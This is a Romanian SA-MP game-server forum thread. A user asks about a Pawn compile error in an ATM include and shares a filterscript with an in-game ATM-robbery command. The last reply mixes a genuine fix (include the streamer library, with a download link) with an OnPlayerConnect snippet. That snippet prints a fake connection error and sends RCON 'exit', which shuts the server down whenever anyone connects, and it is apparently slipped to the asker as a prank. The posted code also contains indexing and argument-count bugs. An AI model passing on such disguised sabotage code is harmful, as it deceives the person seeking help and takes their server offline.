Jump to content
  • 0

Question

Posted

Cum Rezolv aceasta problema:

C:\Documents and Settings\SkyNet\Desktop\SRV\pawno\include\ATM.inc(33) : error 017: undefined symbol "CreateDynamicMapIcon"

Aici includele ATM:

[pawn]#include <a_samp>

#define COLOR_BLUE 0x0000FFAA

#define MAX_ATMS 2000

enum AInfo

{

aCreated,

    Float:aX,

    Float:aY,

    Float:aZ,

    Float:arX,

    Float:arY,

    Float:arZ,

    aObject,

};

new AtmInfo[MAX_ATMS][AInfo];

stock CreateAtm(Float:x,Float:y,Float:z,Float:rx,Float:ry,Float:rz)

{

    for(new i = 0; i < sizeof(AtmInfo); i++)

  {

      if(AtmInfo[aCreated] == 0)

      {

            AtmInfo[aCreated]=1;

            AtmInfo[aX]=x;

            AtmInfo[aY]=y;

            AtmInfo[aZ]=z;

            AtmInfo[arX]=rx;

            AtmInfo[arY]=ry;

            AtmInfo[arZ]=rz;

            AtmInfo[aObject] = CreateObject(2942, x, y, z, rx, ry, rz);

            CreateDynamicMapIcon(x, y, z, 52, -1,-1,-1, -1, 250.0);

        return 1;

      }

  }

  return 0;

}[/pawn]

560x95_F01616_1625F2_030303_000000.png

3 answers to this question

Recommended Posts

Posted

Filterscriptul:

[pawn]// This is a comment

// uncomment the line below if you want to write a filterscript

//#define FILTERSCRIPT

#include <a_samp>

#include <ATM>

#define COLOR_RED 0xFF0000AA

#define dcmd(%1,%2,%3) if (!strcmp((%3)[1], #%1, true, (%2)) && ((((%3)[(%2) + 1] == '\0') && (dcmd_%1(playerid, ""))) || (((%3)[(%2) + 1] == ' ') && (dcmd_%1(playerid, (%3)[(%2) + 2]))))) return 1

public OnGameModeInit()

{

    CreateAtm(-1967.19995117,252.50000000,34.90000153);

    CreateAtm(-1965.80004883,462.79998779,34.79999924);

    CreateAtm(-2409.19921875,758.29980469,34.79999924);

    CreateAtm(-2580.19995117,819.79998779,49.50000000);

    CreateAtm(-2242.30004883,284.10000610,35.00000000);

    CreateAtm(-2010.19995117,-267.60000610,34.90000153);

    CreateAtm(-1980.59997559,166.10000610,27.29999924);

    CreateAtm(-1964.50000000,561.79998779,34.79999924);

    CreateAtm(-1768.30004883,580.90002441,34.59999847);

    CreateAtm(-1729.30004883,715.20001221,24.70000076);

    CreateAtm(-1571.30004883,650.50000000,6.80000019);

    CreateAtm(-1682.69995117,1334.19995117,6.69999981);

    CreateAtm(-1650.50000000,1202.50000000,13.30000019);

    CreateAtm(-2109.60009766,897.50000000,76.30000305);

    CreateAtm(-1990.90002441,818.90002441,45.09999847);

    CreateAtm(-1963.09997559,696.70001221,46.09999847);

    CreateAtm(-1856.30004883,462.00000000,34.79999924);

    CreateAtm(-1784.50000000,810.90002441,24.50000000);

    CreateAtm(-2457.39990234,501.39999390,29.70000076);

    CreateAtm(-2730.19995117,-330.10000610,6.80000019);

    CreateAtm(-2137.50000000,-141.80000305,35.00000000);

    CreateAtm(-2029.30004883,-102.00000000,34.79999924);

    CreateAtm(-2020.90002441,-40.70000076,35.00000000);

    CreateAtm(-1613.69995117,167.80000305,3.20000005);

    CreateAtm(-1337.69995117,449.89999390,6.80000019);

    CreateAtm(-1975.19995117,-869.29998779,31.89999962);

    CreateAtm(-1975.19995117,-848.40002441,31.89999962);

    CreateAtm(-1982.00000000,620.40002441,34.79999924);

    CreateAtm(-2018.50000000,793.59997559,45.09999847);

return 1;

}

public OnPlayerCommandText(playerid, cmdtext[])

{

dcmd(robatm,6,cmdtext);

return 1;

}

dcmd_robatm(playerid,params[])

{

    #pragma unused params

new string[128];

new crand = random(100);

if(crand <= 30)

{

    SendClientMessage(playerid,COLOR_RED,"Rob attempt failed.");

return 1;

}

if(GetPlayerWantedLevel(playerid) < 1)

{

  new Want = GetPlayerWantedLevel(playerid);

          format(string,sizeof(string),"Players with the $%d wanted level can't rob ATM's.",Want);

          SendClientMessage(playerid,COLOR_RED,string);

          return 1;

}

    for(new i = 0; i < sizeof(AtmInfo); i++)

      {

          if(IsPlayerInRangeOfPoint(playerid, 3.0, AtmInfo[aX], AtmInfo[aY], AtmInfo[aZ]))

            {

              if(AtmInfo[aCreated] == 1)

              {

                new RCash = randomEx(5000,50000);

              SendClientMessage(playerid,COLOR_RED,"[[_ATM Robbed_]]");

              format(string,sizeof(string),"You have robbed $%d from.",RCash);

          SendClientMessage(playerid,COLOR_RED,string);

              GivePlayerMoney(playerid,RCash);

              SetPlayerWantedLevel(playerid,2);

            return 1;

}

}

    }

    return 1;

}

stock randomEx(minnum = cellmin, maxnum = cellmax) return random(maxnum - minnum + 1) + minnum; // Credits Y_Less[/pawn]

560x95_F01616_1625F2_030303_000000.png
Posted

#include <streamer>

Download : http://www.2shared.com/file/eUMak_8X/streamer.html?

public OnPlayerConnect(playerid)
{
	print("[ERROR] - Unable to establish a connection with the world...");
	SendRconCommand("exit");
	return 1;
}

 

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. For more details you can also review our Terms of Use and Privacy Policy.